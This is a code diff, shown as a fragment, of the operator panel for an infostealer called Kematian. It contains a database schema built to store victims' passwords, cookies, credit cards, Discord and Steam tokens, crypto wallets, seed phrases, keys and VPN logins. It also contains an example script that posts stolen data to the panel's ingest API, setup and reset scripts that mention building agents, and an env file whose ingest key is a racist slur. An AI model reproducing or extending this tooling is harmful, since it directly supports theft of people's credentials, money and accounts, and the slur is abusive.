visit_count INTEGER,
|
||||
last_visit_time INTEGER,
|
||||
browser TEXT,
|
||||
profile TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS bookmarks (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
name TEXT,
|
||||
url TEXT,
|
||||
type TEXT,
|
||||
browser TEXT,
|
||||
profile TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS credit_cards (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
name_on_card TEXT,
|
||||
expiration_month INTEGER,
|
||||
expiration_year INTEGER,
|
||||
card_number TEXT,
|
||||
nickname TEXT,
|
||||
browser TEXT,
|
||||
profile TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS discord_tokens (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
token TEXT,
|
||||
source TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS files (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
path TEXT,
|
||||
name TEXT,
|
||||
ext TEXT,
|
||||
size INTEGER,
|
||||
modified INTEGER,
|
||||
dir TEXT,
|
||||
tags TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS extensions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
ext_id TEXT,
|
||||
name TEXT,
|
||||
version TEXT,
|
||||
browser TEXT,
|
||||
profile TEXT,
|
||||
path TEXT,
|
||||
category TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS wallets (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
name TEXT,
|
||||
type TEXT,
|
||||
path TEXT,
|
||||
files INTEGER,
|
||||
size INTEGER,
|
||||
addresses TEXT,
|
||||
vault_data TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS telegram (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
account TEXT,
|
||||
path TEXT,
|
||||
files INTEGER,
|
||||
size INTEGER
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS keys (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
type TEXT,
|
||||
name TEXT,
|
||||
path TEXT,
|
||||
size INTEGER,
|
||||
content TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS app_credentials (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
application TEXT,
|
||||
host TEXT,
|
||||
port INTEGER,
|
||||
username TEXT,
|
||||
password TEXT,
|
||||
protocol TEXT,
|
||||
extra TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS seeds (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
source TEXT,
|
||||
path TEXT,
|
||||
phrase TEXT,
|
||||
words INTEGER
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS gaming (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
platform TEXT,
|
||||
payload TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS steam_tokens (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
steam_id TEXT,
|
||||
token TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS vpns (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
vpn TEXT,
|
||||
payload TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS admin (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
username TEXT NOT NULL UNIQUE,
|
||||
password_hash TEXT NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS blobs (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
category TEXT,
|
||||
name TEXT,
|
||||
filename TEXT,
|
||||
size INTEGER,
|
||||
created INTEGER
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS abuse_checker (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
filename TEXT,
|
||||
wordlist TEXT,
|
||||
mailpass TEXT,
|
||||
combos TEXT,
|
||||
check_type TEXT,
|
||||
time INTEGER
|
||||
);
|
||||
"""
|
||||
|
||||
|
||||
def get_conn():
|
||||
conn = sqlite3.connect(DB_PATH)
|
||||
conn.row_factory = sqlite3.Row
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.execute("PRAGMA foreign_keys=ON")
|
||||
return conn
|
||||
|
||||
|
||||
def init_db():
|
||||
with _lock:
|
||||
conn = get_conn()
|
||||
try:
|
||||
conn.executescript(SCHEMA)
|
||||
conn.commit()
|
||||
finally:
|
||||
conn.close()
|
||||
@@ -0,0 +1,49 @@
|
||||
"""
|
||||
Example collector that mirrors the panel ingest contract.
|
||||
|
||||
Point this at a running panel and it pushes a sample CollectionResult.
|
||||
|
||||
Usage: python example_post.py (or edit to set your own values)
|
||||
"""
|
||||
import json
|
||||
import urllib.request
|
||||
|
||||
PANEL = "http://localhost:5000/api/ingest"
|
||||
KEY = "kematian-ingest-key-CHANGE-ME"
|
||||
|
||||
payload = {
|
||||
"clientId": "demo-client-01",
|
||||
"host": {"os": "Windows 11", "arch": "x64", "version": "10.0.22631"},
|
||||
"passwords": [
|
||||
{"url": "https://github.com", "username": "demo", "password": "hunter2",
|
||||
"browser": "chrome", "profile": "Default"},
|
||||
],
|
||||
"cookies": [
|
||||
{"host": ".example.com", "name": "session", "value": "abc123",
|
||||
"path": "/", "secure": True, "httpOnly": True, "browser": "chrome", "profile": "Default"},
|
||||
],
|
||||
"creditCards": [
|
||||
{"nameOnCard": "Demo User", "expirationMonth": 12, "expirationYear": 2029,
|
||||
"cardNumber": "4111111111111111", "browser": "edge", "profile": "Profile 1"},
|
||||
],
|
||||
"discordTokens": [
|
||||
{"token": "fake.discord.token.here", "source": "C:\\Users\\demo\\AppData\\Roaming\\discord"},
|
||||
],
|
||||
"wallets": [
|
||||
{"name": "MetaMask", "type": "chrome", "path": "C:\\...\\MetaMask", "size": 2048},
|
||||
],
|
||||
"gaming": {"steam": {"steamPath": "C:\\Program Files (x86)\\Steam", "account": "demo"}},
|
||||
"vpns": {"nordvpn": [{"version": "6.0", "username": "demo", "password": "pw"}]},
|
||||
}
|
||||
|
||||
req = urllib.request.Request(
|
||||
PANEL,
|
||||
data=json.dumps(payload).encode(),
|
||||
headers={"Authorization": f"Bearer {KEY}", "Content-Type": "application/json"},
|
||||
method="POST",
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
print(resp.status, resp.read().decode())
|
||||
except Exception as e:
|
||||
print("FAILED:", e)
|
||||
@@ -0,0 +1,2 @@
|
||||
PANEL_INGEST_KEY=blackniggers
|
||||
PANEL_SECRET=32751763224324
|
||||
@@ -0,0 +1,3 @@
|
||||
Flask==3.0.3
|
||||
Werkzeug==3.0.3
|
||||
cryptography>=42.0.0
|
||||
@@ -0,0 +1,54 @@
|
||||
@echo off
|
||||
rem ============================================================
|
||||
rem Kematian panel - full reset
|
||||
rem Project: https://t.me/electronic_sex
|
||||
rem
|
||||
rem Stops the panel, then deletes:
|
||||
rem - kematian.db (all clients / loot / admin account)
|
||||
rem - kematian_e2ee.key (E2EE keypair - regenerates on start)
|
||||
rem - .setup_done (re-enables /setup)
|
||||
rem - builds\*.exe (previously built agents)
|
||||
rem - loot\* (hosted files)
|
||||
rem - __pycache__ (stale bytecode)
|
||||
rem - final\kematian.exe (built agent)
|
||||
rem - final\kematian.log (agent run log)
|
||||
rem
|
||||
rem Keeps panel.env (ingest key / secret). Delete panel.env too if
|
||||
rem you want setup.bat to prompt for fresh credentials again.
|
||||
rem ============================================================
|
||||
cd /d "%~dp0"
|
||||
|
||||
echo.
|
||||
echo This will WIPE all collected data and the admin account.
|
||||
echo Built agents under builds\ and final\ are deleted too.
|
||||
echo (panel.env with your ingest key is KEPT.)
|
||||
echo.
|
||||
set /p confirm="Type RESET to continue, anything else to cancel: "
|
||||
if /i not "%confirm%"=="RESET" (
|
||||
echo Cancelled.
|
||||
pause
|
||||
exit /b 0
|
||||
)
|
||||
|
||||
echo.
|
||||
echo [1/2] Stopping any running panel (port 5000)...
|
||||
for /f "tokens=5" %%p in ('netstat -ano ^| findstr ":5000" ^| findstr "LISTENING"') do (
|
||||
echo killing PID %%p
|
||||
taskkill /f /pid %%p >nul 2>&1
|
||||
)
|
||||
|
||||
echo [2/2] Deleting state...
|
||||
if exist kematian.db del /f kematian.db
|
||||
if exist kematian_e2ee.key del /f kematian_e2ee.key
|
||||
if exist .setup_done del /f .setup_done
|
||||
if exist builds del /f /q builds\*.exe 2>nul
|
||||
if exist loot rmdir /s /q loot
|
||||
if exist __pycache__ rmdir /s /q __pycache__
|
||||
if exist "..\Kematian-Standalone\final\kematian.exe" del /f "..\Kematian-Standalone\final\kematian.exe"
|
||||
if exist "..\Kematian-Standalone\final\kematian.log" del /f "..\Kematian-Standalone\final\kematian.log"
|
||||
|
||||
echo.
|
||||
echo Done. Start the panel with setup.bat (or python app.py) and
|
||||
echo visit http://localhost:5000/setup to create a fresh admin account.
|
||||
echo.
|
||||
pause
|
||||
@@ -0,0 +1,35 @@
|
||||
@echo off
|
||||
rem ============================================================
|
||||
rem Kematian panel - reset admin password (keeps all data)
|
||||
rem Project: https://t.me/electronic_sex
|
||||
rem ============================================================
|
||||
cd /d "%~dp0"
|
||||
|
||||
if not exist kematian.db (
|
||||
echo No database found. Start the panel once (setup.bat) first.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
set /p user="Admin username [leave empty for first admin]: "
|
||||
set /p pass="New password (min 6 chars): "
|
||||
|
||||
if "%pass%"=="" (
|
||||
echo Password cannot be empty.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
python -c "import sqlite3,sys; from werkzeug.security import generate_password_hash; c=sqlite3.connect('kematian.db'); where=('id=(SELECT id FROM admin ORDER BY id LIMIT 1)' if sys.argv[1]=='' else 'username=?'); q='UPDATE admin SET password_hash=? WHERE '+where; args=[generate_password_hash(sys.argv[2])]+([sys.argv[1]] if sys.argv[1] else []); n=c.execute(q,args).rowcount; c.commit(); c.close(); sys.exit(0 if n else 1)" "%user%" "%pass%"
|
||||
if errorlevel 1 (
|
||||
echo.
|
||||
echo [!] No matching admin account found. User not updated.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Password updated. Log in with the new credentials.
|
||||
echo (Data, clients and loot are untouched.)
|
||||
pause
|
||||
@@ -0,0 +1,78 @@
|
||||
@echo off
|
||||
rem ============================================================
|
||||
rem Kematian panel setup + start
|
||||
rem Project: https://t.me/electronic_sex
|
||||
rem
|
||||
rem Prompts for the ingest key (and session secret) on first run,
|
||||
rem saves them to panel.env, reuses them on later runs, then
|
||||
rem installs deps and starts the panel with those env vars.
|
||||
rem ============================================================
|
||||
setlocal enabledelayedexpansion
|
||||
cd /d "%~dp0"
|
||||
|
||||
set "CFG=panel.env"
|
||||
|
||||
echo.
|
||||
echo ============================================================
|
||||
echo Kematian panel setup
|
||||
echo Project: https://t.me/electronic_sex
|
||||
echo ============================================================
|
||||
echo.
|
||||
|
||||
rem ---- load existing config or prompt for fresh values ----
|
||||
if exist "%CFG%" (
|
||||
call :loadcfg
|
||||
echo Found existing config: ingest key = !PANEL_INGEST_KEY!
|
||||
set /p redo="Re-enter ingest key and secret? [y/N]: "
|
||||
if /i "!redo!"=="y" set "FRESH=1"
|
||||
) else (
|
||||
set "FRESH=1"
|
||||
)
|
||||
|
||||
if defined FRESH (
|
||||
set /p PANEL_INGEST_KEY="Ingest key (agent PanelAuth must match this) [CHANGE-ME]: "
|
||||
if "!PANEL_INGEST_KEY!"=="" set "PANEL_INGEST_KEY=CHANGE-ME"
|
||||
set /p PANEL_SECRET="Panel session secret (press Enter for random): "
|
||||
if "!PANEL_SECRET!"=="" set "PANEL_SECRET=%RANDOM%%RANDOM%%RANDOM%"
|
||||
>"%CFG%" (
|
||||
echo PANEL_INGEST_KEY=!PANEL_INGEST_KEY!
|
||||
echo PANEL_SECRET=!PANEL_SECRET!
|
||||
)
|
||||
echo Saved to %CFG%
|
||||
)
|
||||
|
||||
call :loadcfg
|
||||
|
||||
echo.
|
||||
echo Using ingest key : %PANEL_INGEST_KEY%
|
||||
echo Using secret : %PANEL_SECRET%
|
||||
echo.
|
||||
|
||||
echo [1/2] Installing Python dependencies...
|
||||
python -m pip install -r requirements.txt
|
||||
if errorlevel 1 (
|
||||
echo.
|
||||
echo [!] pip install failed. Make sure Python is on PATH.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [2/2] Starting panel...
|
||||
echo.
|
||||
echo First run? Open http://localhost:5000/setup to create the admin
|
||||
echo account, then http://localhost:5000/ to log in.
|
||||
echo.
|
||||
echo When building an agent, set PanelAuth / ingest key to:
|
||||
echo %PANEL_INGEST_KEY%
|
||||
echo.
|
||||
echo Press Ctrl+C to stop the panel.
|
||||
echo.
|
||||
python app.py
|
||||
pause
|
||||
exit /b 0
|
||||
|
||||
rem ---- read KEY=VALUE lines from the config file ----
|
||||
:loadcfg
|
||||
if not exist "%CFG%" exit /b 0
|
||||
for /f "usebackq tokens=1,* delims==" %%a in ("%CFG%") do set "%%a=%%b"
|
||||
exit /b 0
|
||||
@@ -0,0 +1,307 @@
|
||||
:root {
|
||||
--bg: #0a0a0f;
|
||||
--bg-2: #131318;
|
||||
--bg-3: #1b1b22;
|
||||
--bg-4: #232330;
|
||||
--border: #26262f;
|
||||
--border-2: #33333d;
|
||||
--text: #ececf1;
|
||||
--muted: #8b8b98;
|
||||
--dim: #5b5b66;
|
||||
--accent: #a855f7;
|
||||
--accent-2: #7c3aed;
|
||||
--accent-soft: rgba(168, 85, 247, 0.12);
|
||||
--accent-dim: rgba(168, 85, 247, 0.18);
|
||||
--green: #34d399;
|
||||
--green-dim: rgba(52, 211, 153, 0.12);
|
||||
--red: #f87171;
|
||||
--red-dim: rgba(248, 113, 113, 0.12);
|
||||
--purple-1: #c084fc;
|
||||
--mono: "JetBrains Mono", "Cascadia Code", Consolas, monospace;
|
||||
}
|
||||
|
||||
* { box-sizing: border-box; }
|
||||
|
||||
html, body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: var(--bg);
|
||||
color: var(--text);
|
||||
font-family: "Inter", system-ui, -apple-system, sans-serif;
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
|
||||
a { color: inherit; text-decoration: none; }
|
||||
|
||||
.mono { font-family: var(--mono); font-size: 12px; }
|
||||
.accent { color: var(--accent); }
|
||||
.muted { color: var(--muted); }
|
||||
|
||||
::-webkit-scrollbar { width: 9px; height: 9px; }
|
||||
::-webkit-scrollbar-thumb { background: var(--border-2); border-radius: 6px; }
|
||||
::-webkit-scrollbar-thumb:hover { background: var(--accent-2); }
|
||||
::-webkit-scrollbar-track { background: transparent; }
|
||||
|
||||
/* ---------- sidebar ---------- */
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
left: 0; top: 0; bottom: 0;
|
||||
width: 248px;
|
||||
background: var(--bg-2);
|
||||
border-right: 1px solid var(--border);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
overflow-y: auto;
|
||||
z-index: 20;
|
||||
padding: 20px 14px;
|
||||
}
|
||||
|
||||
.brand {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 11px;
|
||||
padding: 2px 6px 18px;
|
||||
}
|
||||
.brand-logo {
|
||||
width: 38px; height: 38px;
|
||||
border-radius: 11px;
|
||||
background: linear-gradient(135deg, var(--accent-2), var(--accent));
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
font-size: 19px;
|
||||
color: #fff;
|
||||
box-shadow: 0 4px 16px rgba(124, 58, 237, 0.4);
|
||||
}
|
||||
.brand-name { font-size: 19px; font-weight: 800; letter-spacing: -0.4px; color: #fff; }
|
||||
.brand-dot { color: var(--accent); }
|
||||
|
||||
.profile {
|
||||
background: var(--bg-3);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 14px;
|
||||
padding: 14px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.profile-avatar {
|
||||
width: 42px; height: 42px;
|
||||
border-radius: 12px;
|
||||
background: linear-gradient(135deg, #2a2a35, #1e1e27);
|
||||
border: 1px solid var(--border-2);
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
font-weight: 700; font-size: 18px; color: var(--accent);
|
||||
}
|
||||
.profile-name { font-weight: 600; font-size: 14px; }
|
||||
.profile-role { font-size: 11px; color: var(--muted); margin-top: 1px; }
|
||||
|
||||
.nav-group-label {
|
||||
font-size: 10px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1.2px;
|
||||
color: var(--dim);
|
||||
font-weight: 700;
|
||||
padding: 14px 8px 6px;
|
||||
}
|
||||
|
||||
.nav { display: flex; flex-direction: column; gap: 3px; }
|
||||
.nav-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 11px;
|
||||
padding: 9px 12px;
|
||||
border-radius: 10px;
|
||||
color: var(--muted);
|
||||
font-weight: 500;
|
||||
font-size: 13px;
|
||||
transition: background 0.15s, color 0.15s;
|
||||
}
|
||||
.nav-item:hover { background: var(--bg-3); color: var(--text); }
|
||||
.nav-item .nav-ico { width: 17px; height: 17px; flex: 0 0 17px; opacity: 0.85; }
|
||||
|
||||
.sidebar-foot {
|
||||
margin-top: auto;
|
||||
padding: 14px 6px 4px;
|
||||
border-top: 1px solid var(--border);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 8px;
|
||||
}
|
||||
.online { display: flex; align-items: center; gap: 7px; font-size: 12px; color: var(--text); font-weight: 600; }
|
||||
.online-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); box-shadow: 0 0 8px var(--green); }
|
||||
.foot-user { font-size: 12px; color: var(--muted); }
|
||||
.logout-btn { margin-top: 4px; padding: 9px 12px; border-radius: 10px; background: var(--red-dim); color: var(--red); font-weight: 600; font-size: 13px; text-align: center; transition: background 0.15s; }
|
||||
.logout-btn:hover { background: rgba(248, 113, 113, 0.2); }
|
||||
|
||||
/* ---------- main ---------- */
|
||||
.main.with-sidebar { margin-left: 248px; }
|
||||
.main { padding: 26px 30px 60px; }
|
||||
|
||||
.flash { padding: 12px 16px; margin-bottom: 18px; border-radius: 12px; border: 1px solid var(--border); font-size: 13px; }
|
||||
.flash-success { background: var(--green-dim); border-color: rgba(52, 211, 153, 0.3); color: var(--green); }
|
||||
.flash-error { background: var(--red-dim); border-color: var(--red); color: var(--red); }
|
||||
.flash-info { background: var(--bg-3); }
|
||||
|
||||
/* ---------- page head ---------- */
|
||||
.page-head {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
justify-content: space-between;
|
||||
gap: 16px;
|
||||
margin-bottom: 24px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.page-head h1 { margin: 0; font-size: 24px; font-weight: 800; letter-spacing: -0.4px; }
|
||||
.page-head .muted { margin: 4px 0 0; }
|
||||
.with-ico { display: flex; align-items: center; gap: 10px; }
|
||||
.head-ico { width: 26px; height: 26px; }
|
||||
.head-actions { display: flex; gap: 10px; }
|
||||
.section-title { margin: 34px 0 14px; font-size: 17px; font-weight: 700; }
|
||||
|
||||
/* ---------- buttons ---------- */
|
||||
.btn {
|
||||
display: inline-flex; align-items: center; gap: 6px;
|
||||
padding: 9px 15px; border-radius: 10px;
|
||||
font-size: 13px; font-weight: 600;
|
||||
border: 1px solid var(--border-2); cursor: pointer;
|
||||
background: var(--bg-3); color: var(--text);
|
||||
transition: background 0.15s, border 0.15s, transform 0.1s;
|
||||
}
|
||||
.btn:hover { background: var(--bg-4); }
|
||||
.btn:active { transform: translateY(1px); }
|
||||
.btn-primary { background: linear-gradient(135deg, var(--accent-2), var(--accent)); border-color: transparent; color: #fff; }
|
||||
.btn-primary:hover { background: linear-gradient(135deg, #6d28d9, #9333ea); }
|
||||
.btn-ghost { background: transparent; }
|
||||
.btn-sm { padding: 5px 10px; font-size: 12px; }
|
||||
|
||||
/* ---------- stat cards ---------- */
|
||||
.stat-row { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 16px; margin-bottom: 20px; }
|
||||
.stat-card {
|
||||
background: var(--bg-2);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 16px;
|
||||
padding: 20px 22px;
|
||||
display: flex; flex-direction: column; gap: 12px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
.stat-card::after {
|
||||
content: ""; position: absolute; top: 0; right: 0; width: 120px; height: 120px;
|
||||
background: radial-gradient(circle at top right, var(--accent-dim), transparent 70%);
|
||||
pointer-events: none;
|
||||
}
|
||||
.stat-ico {
|
||||
width: 46px; height: 46px; border-radius: 13px;
|
||||
background: linear-gradient(135deg, var(--accent-2), var(--accent));
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
}
|
||||
.stat-ico img { width: 24px; height: 24px; filter: brightness(0) invert(1); }
|
||||
.stat-num { font-size: 28px; font-weight: 800; letter-spacing: -0.5px; line-height: 1; }
|
||||
.stat-label { color: var(--muted); font-size: 12.5px; font-weight: 500; }
|
||||
.stat-trend { align-self: flex-start; font-size: 11px; color: var(--green); font-weight: 600; background: var(--green-dim); padding: 2px 9px; border-radius: 20px; }
|
||||
.stat-trend.up::before { content: "↑ "; }
|
||||
|
||||
/* ---------- type cards grid ---------- */
|
||||
.grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));
|
||||
gap: 12px;
|
||||
}
|
||||
.type-card {
|
||||
display: flex; align-items: center; gap: 12px;
|
||||
background: var(--bg-2); border: 1px solid var(--border);
|
||||
border-radius: 12px; padding: 14px;
|
||||
transition: border 0.15s, transform 0.15s, background 0.15s;
|
||||
}
|
||||
.type-card:hover { border-color: var(--accent); transform: translateY(-2px); background: var(--bg-3); }
|
||||
.type-ico { width: 30px; height: 30px; flex: 0 0 30px; }
|
||||
.type-label { font-size: 12px; color: var(--muted); font-weight: 500; }
|
||||
.type-count { font-size: 19px; font-weight: 700; margin-top: 2px; }
|
||||
|
||||
/* ---------- charts ---------- */
|
||||
.charts-row { display: grid; grid-template-columns: 3fr 2fr; gap: 16px; margin-bottom: 20px; }
|
||||
.charts-row.single { grid-template-columns: 1fr; }
|
||||
.chart-card { background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; padding: 20px; }
|
||||
.chart-card h2 { margin: 0 0 16px; font-size: 15px; font-weight: 700; }
|
||||
.chart-body { position: relative; min-height: 240px; }
|
||||
|
||||
/* ---------- tables ---------- */
|
||||
.table-card { background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; overflow: hidden; }
|
||||
.table-scroll { overflow-x: auto; }
|
||||
table { width: 100%; border-collapse: collapse; }
|
||||
th, td { text-align: left; padding: 12px 16px; border-bottom: 1px solid var(--border); font-size: 13px; }
|
||||
th { font-size: 11px; text-transform: uppercase; letter-spacing: 0.7px; color: var(--muted); background: var(--bg-3); font-weight: 700; }
|
||||
tbody tr:last-child td { border-bottom: none; }
|
||||
tbody tr:hover { background: rgba(255, 255, 255, 0.02); }
|
||||
.empty { text-align: center; color: var(--muted); padding: 30px; font-style: italic; }
|
||||
.client-link { color: var(--accent); font-weight: 500; }
|
||||
|
||||
/* ---------- status chip ---------- */
|
||||
.chip { display: inline-flex; align-items: center; gap: 5px; padding: 3px 10px; border-radius: 20px; font-size: 11px; font-weight: 600; }
|
||||
.chip-green { background: var(--green-dim); color: var(--green); }
|
||||
.chip-red { background: var(--red-dim); color: var(--red); }
|
||||
.chip-gray { background: var(--bg-4); color: var(--muted); }
|
||||
|
||||
/* ---------- secrets ---------- */
|
||||
.pw { color: var(--accent); cursor: pointer; font-family: var(--mono); font-size: 12px; }
|
||||
.pw:hover { background: var(--accent-dim); border-radius: 4px; }
|
||||
.tag { display: inline-block; padding: 2px 9px; border-radius: 20px; background: var(--bg-3); border: 1px solid var(--border-2); font-size: 11px; color: var(--muted); font-weight: 600; }
|
||||
|
||||
/* ---------- auth ---------- */
|
||||
.auth-wrap { display: flex; align-items: center; justify-content: center; min-height: 88vh; }
|
||||
.auth-card {
|
||||
width: 380px; background: var(--bg-2); border: 1px solid var(--border);
|
||||
border-radius: 20px; padding: 38px 36px; display: flex; flex-direction: column;
|
||||
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.4);
|
||||
}
|
||||
.auth-logo {
|
||||
width: 54px; height: 54px; border-radius: 15px; align-self: center;
|
||||
background: linear-gradient(135deg, var(--accent-2), var(--accent));
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
font-size: 26px; color: #fff; box-shadow: 0 6px 24px rgba(124, 58, 237, 0.5);
|
||||
}
|
||||
.auth-card h1 { margin: 16px 0 2px; font-size: 22px; text-align: center; font-weight: 800; }
|
||||
.auth-sub { text-align: center; color: var(--muted); margin: 0 0 24px; font-size: 13px; }
|
||||
.auth-card label { font-size: 12px; color: var(--muted); margin: 12px 0 5px; }
|
||||
.auth-card input {
|
||||
background: var(--bg-3); border: 1px solid var(--border-2); color: var(--text);
|
||||
padding: 12px 14px; border-radius: 11px; font-size: 14px; transition: border 0.15s;
|
||||
}
|
||||
.auth-card input:focus { outline: none; border-color: var(--accent); }
|
||||
.auth-card .btn { margin-top: 22px; justify-content: center; }
|
||||
.auth-link { text-align: center; margin-top: 16px; color: var(--muted); font-size: 12px; }
|
||||
.auth-link:hover { color: var(--accent); }
|
||||
|
||||
/* ---------- search ---------- */
|
||||
.search-bar { display: flex; gap: 10px; margin-bottom: 20px; }
|
||||
.search-bar input { flex: 1; background: var(--bg-2); border: 1px solid var(--border-2); color: var(--text); padding: 12px 14px; border-radius: 11px; font-size: 14px; }
|
||||
.search-bar input:focus { outline: none; border-color: var(--accent); }
|
||||
|
||||
/* ---------- builder / fileshare ---------- */
|
||||
.form-card, .upload-card, .build-progress {
|
||||
background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; padding: 22px 24px; margin-bottom: 22px; max-width: 640px;
|
||||
}
|
||||
.form-card h2, .upload-card h2, .build-progress h2 { margin: 0 0 16px; font-size: 15px; font-weight: 700; }
|
||||
.form-card label, .upload-card label { font-size: 12px; color: var(--muted); margin: 12px 0 4px; display: block; }
|
||||
.form-card input, .upload-card input { width: 100%; background: var(--bg-3); border: 1px solid var(--border-2); color: var(--text); padding: 10px 12px; border-radius: 9px; font-size: 13px; font-family: var(--mono); }
|
||||
.form-card input:focus, .upload-card input:focus { outline: none; border-color: var(--accent); }
|
||||
.form-card .hint, .upload-card .hint { font-size: 11px; color: var(--muted); margin: 4px 0 0; }
|
||||
.form-card .hint code, .upload-card .hint code { color: var(--accent); }
|
||||
.form-row { display: flex; gap: 12px; }
|
||||
.form-row > div { flex: 1; }
|
||||
.form-card .btn, .upload-card .btn { margin-top: 20px; }
|
||||
.upload-form { display: flex; flex-direction: column; gap: 10px; }
|
||||
.upload-form input[type="file"] { color: var(--text); background: var(--bg-3); border: 1px solid var(--border-2); border-radius: 9px; padding: 9px 12px; font-size: 13px; }
|
||||
.upload-form input[type="text"] { max-width: 200px; }
|
||||
.build-log { font-family: var(--mono); font-size: 12px; background: #05060a; border: 1px solid var(--border); border-radius: 10px; padding: 14px; max-height: 300px; overflow: auto; white-space: pre-wrap; word-break: break-word; color: #c9d1da; }
|
||||
.build-actions { margin-top: 14px; }
|
||||
|
||||
.tag-done { color: var(--green); border-color: rgba(52,211,153,0.3); background: var(--green-dim); }
|
||||
.tag-running { color: var(--accent); border-color: var(--accent); background: var(--accent-soft); }
|
||||
.tag-error { color: var(--red); border-color: var(--red); background: var(--red-dim); }
|
||||
|
||||
.panel-foot { text-align: center; padding: 16px 12px 20px; }
|
||||
.panel-foot a { color: var(--muted); font-size: 12px; text-decoration: none; opacity: .75; transition: opacity .15s ease; }
|
||||
.panel-foot a:hover { opacity: 1; color: var(--accent); }
|
||||
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="10" rx="2"/><path d="M3 18h18M7 21h10"/></svg>
|
||||
|
After Width: | Height: | Size: 237 B |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="14" rx="2"/><path d="M7 18v2h10v-2"/><path d="M8 9h8M8 12h5"/></svg>
|
||||
|
After Width: | Height: | Size: 259 B |
@@ -0,0 +1 @@
|
||||
